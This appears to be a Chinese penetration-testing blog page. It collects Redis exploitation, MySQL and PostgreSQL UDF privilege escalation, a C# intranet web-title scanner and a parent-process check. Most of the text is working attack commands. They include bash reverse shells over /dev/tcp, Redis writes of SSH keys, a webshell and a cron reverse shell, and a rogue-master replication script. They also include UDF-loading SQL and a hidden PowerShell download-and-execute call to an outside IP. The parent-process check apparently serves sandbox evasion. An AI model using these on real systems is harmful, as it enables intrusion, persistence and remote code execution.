knickers 发布的文章

redis利用整理

Ubuntu

Ubuntu由于和CentOS的sh对应的软连接对象不同(Ubuntu sh软连接指向的dash,所以用bash反弹是报错的,CentOS中sh指向的是bash,所以可以成功)
用`dpkg-reconfigure去remove掉dash也可以修改sh的指向,但是在ubuntu中含有脏数据的cron是无法执行的,只能利用其他方法进行利用。

#ubuntu使用bash反弹shell需要修改sh的软连接对象
#方法1
echo no |  /usr/sbin/dpkg-reconfigure dash
bash -i >& /dev/tcp/127.0.0.1/7777 0>&1
#方法2
bash -c "bash -i  >&/dev/tcp/127.0.0.1/7777 0>&1"
#方法3
ln -s -f bash /bin/sh

image-20200602224723655

1、写入SSH公钥

redis-cli -h 127.0.0.1 config set dir /root/.ssh

redis-cli -h 127.0.0.1 config set dbfilename authorized_keys

echo "ssh-rsa AAAAB3Nxxxxxxxx9N9DI8FFs= xxxxxxxP.lan" > /tmp/attack

vim /tmp/attack #这个文件内容上下必须各有两个回车

cat /tmp/attack | redis-cli -h 127.0.0.1 -x set attack

redis-cli -h 127.0.0.1 save

image-20200604000102273

2、redis写入getshell

redis-cli -h 127.0.0.1 config set dir /www/wwwroot/default

redis-cli -h 127.0.0.1 config set dbfilename test.php

echo "<?php phpinfo();?>" > /tmp/php

vim /tmp/php #这个文件内容上下必须各有两个回车

cat /tmp/php | redis-cli -h 127.0.0.1 -x set php

redis-cli -h 127.0.0.1 save

image-20200604131532687

image-20200604131555301

CentOS

写入cron

CentOS的写入公钥和写shell过程和Ubuntu相同,这里就不再继续写了,这里就写以下cron利用写入

CentOS的cron路径有

/var/spool/cron/crontabs
/etc/cron.daily
/etc/cron.deny
/etc/cron.weekly
/etc/cron.monthly
/etc/cron.d
/etc/cron.hourly

redis-cli -h 127.0.0.1 config set dir /var/spool/cron

redis-cli -h 127.0.0.1 config set dbfilename root

echo "*/1 * * * * bash -i  >&/dev/tcp/127.0.0.1/7777 0>&1" > /tmp/attack

vim /tmp/attack  #这个文件内容上下必须各有两个回车

cat /tmp/attack | redis-cli -h 127.0.0.1 -x set attack

redis-cli -h 127.0.0.1 save

image-20200604154714013

redis主从复制rce

无损写入文件

image-20200604155818236

image-20200604161135902

设置好了redis主从复制

接下来就是编写恶意so文件

https://github.com/n0b0dyCN/RedisModules-ExecuteCommand

这里so我从这个项目编译,他实现了一个命令执行函数。

在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRE SYNC同步文件到从机上。

然后在从机上加载so文件,我们就可以执行拓展的新命令了。


最近看大哥发的一个博文中看到有人修改了原本的那个redis主从复制的脚本,实现了任意路基路径无损写入文件的功能,最开始还比较奇怪,脏数据怎么处理,后来想了下,最初的利用poc就已经是完整地传输的eval.so文件,那就代表其实不只是可以MODULE LOAD来加载函数,其实还可以直接无损写入文件/cron等。这里我演示就是在ubuntu的环境下,稍微修改了下利用so的LOAD脚本,实现了任意文件任意路径写入的功能。

ubuntu无损写入(win下同理随意写入)

看了下脚本,其实主要功能就在自己利用python建立了一个socket服务,然后利用目标的redis和本地伪造的服务建立主从复制,然后利用sync同步文件内容,这里面我需要修改项目是

https://github.com/vulhub/redis-rogue-getshell/blob/master/redis-master.py

 client.send([b'SLAVEOF', lhost, lport])
    client.send([b'CONFIG', b'SET', b'dbfilename', b'exp.so'])
    time.sleep(2)
    server.handle_request()
    time.sleep(2)

    client.send([b'MODULE', b'LOAD', b'./exp.so'])
    client.send([b'SLAVEOF', b'NO', b'ONE'])
    client.send([b'CONFIG', b'SET', b'dbfilename', b'dump.rdb'])
    resp = client.send([b'system.exec', command])
    print(decode_command_line(resp))

    client.send([b'MODULE', b'UNLOAD', b'system'])

修改后


    client.send([b'SLAVEOF', lhost, lport])
    client.send([b'CONFIG', b'SET', b'dbfilename', b'aaaaaaaaaa'])
    client.send([b'CONFIG', b'SET', b'dir', b'/'])
    time.sleep(2)
    server.handle_request()
    time.sleep(2)
    client.send([b'SLAVEOF', b'NO', b'ONE'])
    client.send([b'CONFIG', b'SET', b'dbfilename', b'dump.rdb'])

本地创建一个1.txt

txt内容是,字符多一些,查看是否会被脏数据污染。

testtesttesttesttest“!@#¥%%……&!@#$%^*( )"''"

创建伪造服务,连接对方,并读取本地1.txt内容发送过去。

python3 redis-master.py -r 127.0.0.1 -p 6379 -L 127.0.0.1 -P 2222 -f 1.txt 

image-20200605011116825

image-20200605011100135

可以看到文件传输是无损的。我把传输内容和命令打印出来了,可以看一下上图。

udf提权整理

udf是什么

UDF是mysql的一个拓展接口,UDF(Userdefined function)可翻译为用户自定义函数,这个是用来拓展Mysql的技术手段。

注:

  1. 看一下版本,5.1版本的udf提权需要将dll上传到c:\windows\system32下。
  2. 5.1以上需要放到下lib\plugin 。
  3. 5.7版本secure_file_priv默认为null,设置了以后只能通过修改my.ini,所以没办法进行INTO DUMPFILE写入文件,也就只能在有webshell的情况下进行提权。

Mysql

udf.dll

dll来源可以选择自己编译和下载网上的,我这里用的是sqlmap中自带的dll

其路径是:sqlmap/data/udf/mysql/windows/

但是他的dll是经过异或操作了的,需要在用他自带的脚本在异或一下还原。

脚本路径:sqlmap/extra/cloak

image-20200530165325006

无webshell

在没有webshell的情况下可以利用以下命令查看相关信息:

SELECT @@basedir; --查看安装路径
SHOW VARIABLES LIKE '%plugins%';  --查找是否有plugins目录
show variables like '%compile%'; --查看数据库位数
show variables like "%secure%"; --查看是否由导出位置限制

image-20200530180915779

image-20200530182309454

在只有数据库账号的情况下有个问题就是如果对方服务器mysql版本不是完整版的话是没有lib\plugin文件夹的,google了下资料找到了可以利用NTDS ADS来创建文件夹

select 'udfdll' into dumpfile 'C:\\phpstudy_pro\\Extensions\\MySQL5.5.29\\lib::$INDEX_ALLOCATION';
select 'udfdll' into dumpfile 'C:\\phpstudy_pro\\Extensions\\MySQL5.5.29\\lib\\plugin::$INDEX_ALLOCATION';

image-20200531012848376

image-20200531012906534

因为是没有webshell的情况下,需要利用INTO DUMPFILE导出dll文件,以16进制存入表中在导出成dll

获取16进制命令是

cat lib_mysqludf_sys.dll | xxd -p | tr -d '\n'

image-20200530182850214

drop table udf_temp;
CREATE TABLE udf_temp (udf BLOB);
INSERT into udf_temp values (CONVERT(0x111111111,CHAR));
SELECT udf FROM udf_temp INTO DUMPFILE 'C:\\phpstudy_pro\\Extensions\\MySQL5.5.29\\lib\\plugin\\udf.dll';
Create Function sys_exec returns string soname 'udf.dll';
Create Function sys_eval returns string soname 'udf.dll';

image-20200530215113011

sqlmap的导出函数是sys_eval和/sys_exec

image-20200530215003313

命令执行成功

image-20200530215140606

select sys_eval("powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://101.200.51.204:801/a2'))\"");

image-20200530220722348

sqlmap中的dll应该是msf中的,其中有个比较实用的函数是sys_bineval,这个函数是用来执行shellcode的。

但是只能在32位系统中运行,否则的话会引起mysql进程崩溃。

image-20200531004536820

image-20200531014029769

有webshell

有webshell就比较方便了,直接往li/plugin中上传dll后新建就可以了。

sqlmap

python3 sqlmap.py -d "mysql://root:123456@172.16.142.139:3306/mysql" --os-shell -v 3

image-20200530223317204

可以看到连接上后也是通过insert传入16进制后储存到plugin路径下。

Postgre

查看版本

Postgre也存在udf功能,同理也可以进行写入so文件创建加载函数。

select version(); ##查看版本,在去sqlmap下找

image-20200531015200308

创建so库

创建.so,执行自己需要用的命令

将so文件转换成16进制。

cat lib_postgresqludf_sys.so | xxd -p | tr -d '\n' > dll.txt

image-20200531015516206

分割hex导出udf

postgre对于8k页大小的数据库来说,字段数据大小超过2k时才会触发压缩策略.

https://github.com/sqlmapproject/sqlmap/issues/1170

split -b 1900 dll.txt aaaa #用split分割到2k以下

一条一条执行下面的语句,不然内容内容会被压缩。

SELECT lo_create(1);
insert into pg_largeobject values (1, 0, decode('7f454c4602', 'hex'));
insert into pg_largeobject values (1, 1, decode('020000000200020', 'hex'));
insert into pg_largeobject values (1, 3, decode('00', 'hex'));
insert into pg_largeobject values (1, 4, decode('181e2000', 'hex'));
insert into pg_largeobject values (1, 5, decode('d020000', 'hex'));

SELECT lo_export(1, '/tmp/1.so');

创建函数:

CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/1.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;

image-20200531111802582

执行函数:

select sys_eval('id');

image-20200531111834266

删除函数:

DROP FUNCTION sys_eval(text);
DROP FUNCTION sys_exec(text);

C#学习-内网多线程gettitle

2020年5月30日更新:

修复了HTTPS证书功能,对于ex和服务端的response返回404也可以识别到了,整体由try控制防止报错弹框。
速度大约是有线连接/外网100m 单端口b段扫描 10-20分钟左右。

2020年5月28日更新:

增加了自定义端口功能、自定义线程(在各位大哥的鞭挞下总算吃下这个多线程了,C# thread带参传好难),之前的多线程利用的sleep控制的,被大哥喷,没用join被大哥喷,现在总算都用上了,控制的速度变化明显。

测试图

win10 .net 4

win7 .net 2

使用:

gettitle.exe 192.168.1/192.168 80,8080,8181,8000 100

.net 4.0

http://myblogimages.oss-cn-beijing.aliyuncs.com/gettitle4.exe

.net 2.0

http://myblogimages.oss-cn-beijing.aliyuncs.com/gettitle2.exe

顺便加入了文件写入,扫描结果放到C:\users\public\scan.txt下了。

也方便在cs下用execute-assembly去执行查看结果。
win10

win7


之前几个项目都遇到内网需要扫描title,linux下又timoutsocks.py,windows下pyinstall编译太大了,最近正好在学习C#,就用C#写了一个,参考了几个其他扫描工具的思路。效果还不错。
-w948

using System;
using System.Collections.Generic;
using System.Text;
using System.Net;
using System.IO;
using System.Text.RegularExpressions;
using System.Threading;
using System.Net.Security;
using System.Security.Authentication;
using System.Security.Cryptography.X509Certificates;

namespace gettitle
{
    class Program
    {
        static void Main(string[] args)
        {
            try
            {
                string a = args[0];
                string ports = args[1];
                int threads = int.Parse(args[2]);
                //string ports = "80,8181";
                string[] port = ports.Split(new char[] { ',' });
                //for (int z = 0; z < port.Length; z++)
                //{
                //string a = "192.168.2";
                Regex rgx = new Regex(@"^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){2}$");
                //Console.WriteLine(startIp);
                if (rgx.IsMatch(a)) //匹配正确IP (123.123.123为true/123.123为 false)
                {
                    Console.WriteLine("start sacn");
                    for (int i = 1; i <= 255; i++)
                    {
                        //string hosts = "192.168.2";
                        string hosts = a;
                        hosts = hosts + "." + i;
                        Thread[] sp = new Thread[threads];
                        int thread = threads - 1;
                        sp[thread] = new Thread(() => URL_manage(hosts, port));
                        sp[thread].Start();
                        sp[thread].Join(10000 / threads);
                    }
                }
                else
                {
                    Console.WriteLine("start sacn");
                    for (int j = 0; j <= 255; j++)
                    {
                        for (int i = 1; i <= 255; i++)
                        {
                            string hosts = a;
                            hosts = hosts + "." + j + "." + i;
                            Thread thread = new Thread(() => URL_manage(hosts, port));
                            Thread[] sp = new Thread[threads];
                            int threada = threads - 1;
                            sp[threada] = new Thread(() => URL_manage(hosts, port));
                            sp[threada].Start();
                            sp[threada].Join(10000 / threads);
                        }
                    }
                }
            }
            catch
            {

                Console.WriteLine("Uesg: gettitle.exe 192.168.1/192.168 80,8000,8080,7001 10");
            }
        }

        public static void URL_manage(string hosts, string[] ports)
        {
            try
            {

            foreach (string port in ports)
            {
                if (port == "443")
                {
                    string host = "https://" + hosts + "/";
                    if (headscan(host))
                    {
                        Gettitle(host);
                       //Console.WriteLine(host);
                    }
                }
                else
                    {
                    string host = "http://" + hosts + ":" + port + "/";
                    if (headscan(host))
                    {
                        Gettitle(host);
                    }
                }
            }
            }
            catch
            {
            }
        }
        public static bool CheckValidationResult(object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors errors)
        {   // 总是接受
            return true;
        }
        public static bool headscan(string url)
        {
            try
            {
                ServicePointManager.SecurityProtocol = (SecurityProtocolType)3072;
                ServicePointManager.ServerCertificateValidationCallback = new System.Net.Security.RemoteCertificateValidationCallback(CheckValidationResult);
                var req = (HttpWebRequest)WebRequest.CreateDefault(new Uri(url));
                req.Method = "HEAD";
                req.Timeout = 5000;
                var res = (HttpWebResponse)req.GetResponse();
                if (res.StatusCode == HttpStatusCode.OK || res.StatusCode == HttpStatusCode.Forbidden || res.StatusCode == HttpStatusCode.Redirect || res.StatusCode == HttpStatusCode.MovedPermanently || res.StatusCode == HttpStatusCode.BadGateway)
                {
                    //Console.WriteLine(url);
                    return true;
                }
            }
            catch (WebException ex)
            {
                HttpWebResponse webResponse = (HttpWebResponse)ex.Response;
                if(ex.Response == null || webResponse.StatusCode == HttpStatusCode.RequestTimeout)
                {
                    return false;
                }
                else
                {
                    if (webResponse.StatusCode == HttpStatusCode.NotFound )
                    {
                        //Console.WriteLine(ex);
                        //Console.WriteLine(url+ "1");
                        return true;
                    }
                    else
                    {
                        //Console.WriteLine(ex);
                        //Console.WriteLine(url + "2");
                        return false;
                    }

                }
            }
            return false;
}
        public static void Gettitle(string input)
        {
            string httpUrl = input;
            string charSet = "utf-8";//utf-8
            try
            {
                ServicePointManager.SecurityProtocol = (SecurityProtocolType)3072;
                ServicePointManager.ServerCertificateValidationCallback = new System.Net.Security.RemoteCertificateValidationCallback(CheckValidationResult);
                WebRequest oRequest = WebRequest.Create(httpUrl);
                oRequest.Timeout = 5000; //5s
                WebResponse oResponse = oRequest.GetResponse();
                StreamReader oReader = new StreamReader(oResponse.GetResponseStream(), Encoding.GetEncoding(charSet));
                string html = oReader.ReadToEnd();
                Match m1 = Regex.Match(html, "<title>(.*)</title>");
                using (System.IO.StreamWriter file = new System.IO.StreamWriter(@"C:\users\public\scan.txt", true))
                {
                    file.WriteLine("open: " + input + "    ------" + m1.Groups[1].Value);// 直接追加文件末尾,换行
                }
                Console.WriteLine("open: " + input + "    ------" + m1.Groups[1].Value);
            }
            catch (WebException ex)
            {
                HttpWebResponse webResponse = (HttpWebResponse)ex.Response;
                if (ex.Response == null || webResponse.StatusCode == HttpStatusCode.RequestTimeout)
                {
                }
                else
                {
                    if (webResponse.StatusCode == HttpStatusCode.NotFound)
                    {
                        using (System.IO.StreamWriter file = new System.IO.StreamWriter(@"C:\users\public\scan.txt", true))
                        {
                                    file.WriteLine("open: " + input + "    ------404");// 直接追加文件末尾,换行
                        }
                        Console.WriteLine("open: " + input + "    ------404");
                    }
                }
            }

        }
    }

}

Csharp检测父进程

可以用 GetParentProcess获取父进程名称,鼠标双击打开的父进程是explorer。而命令行打开的父进程是cmd.exe

Process Parent = ParentProcessUtilities.GetParentProcess();
Process Grandpa = ParentProcessUtilities.GetParentProcess(Parent.Handle);
if (Grandpa != null || !Parent.ProcessName.ToLower().Contains("explorer"))
        Environment.Exit(0);
[StructLayout(LayoutKind.Sequential)]
    public struct ParentProcessUtilities
    {
        // These members must match PROCESS_BASIC_INFORMATION
        internal IntPtr Reserved1;
        internal IntPtr PebBaseAddress;
        internal IntPtr Reserved2_0;
        internal IntPtr Reserved2_1;
        internal IntPtr UniqueProcessId;
        internal IntPtr InheritedFromUniqueProcessId;

        [DllImport("ntdll.dll")]
        private static extern int NtQueryInformationProcess(IntPtr processHandle, int processInformationClass, ref ParentProcessUtilities processInformation, int processInformationLength, out int returnLength);

        /// <summary>
        /// Gets the parent process of the current process.
        /// </summary>
        /// <returns>An instance of the Process class.</returns>
        public static Process GetParentProcess()
        {
            return GetParentProcess(Process.GetCurrentProcess().Handle);
        }

        /// <summary>
        /// Gets the parent process of specified process.
        /// </summary>
        /// <param name="id">The process id.</param>
        /// <returns>An instance of the Process class.</returns>
        public static Process GetParentProcess(int id)
        {
            Process process = Process.GetProcessById(id);
            return GetParentProcess(process.Handle);
        }

        /// <summary>
        /// Gets the parent process of a specified process.
        /// </summary>
        /// <param name="handle">The process handle.</param>
        /// <returns>An instance of the Process class.</returns>
        public static Process GetParentProcess(IntPtr handle)
        {
            ParentProcessUtilities pbi = new ParentProcessUtilities();
            int returnLength;
            int status = NtQueryInformationProcess(handle, 0, ref pbi, Marshal.SizeOf(pbi), out returnLength);
            if (status != 0)
                throw new Win32Exception(status);

            try
            {
                return Process.GetProcessById(pbi.InheritedFromUniqueProcessId.ToInt32());
            }
            catch (ArgumentException)
            {
                // not found
                return null;
            }
        }
        }/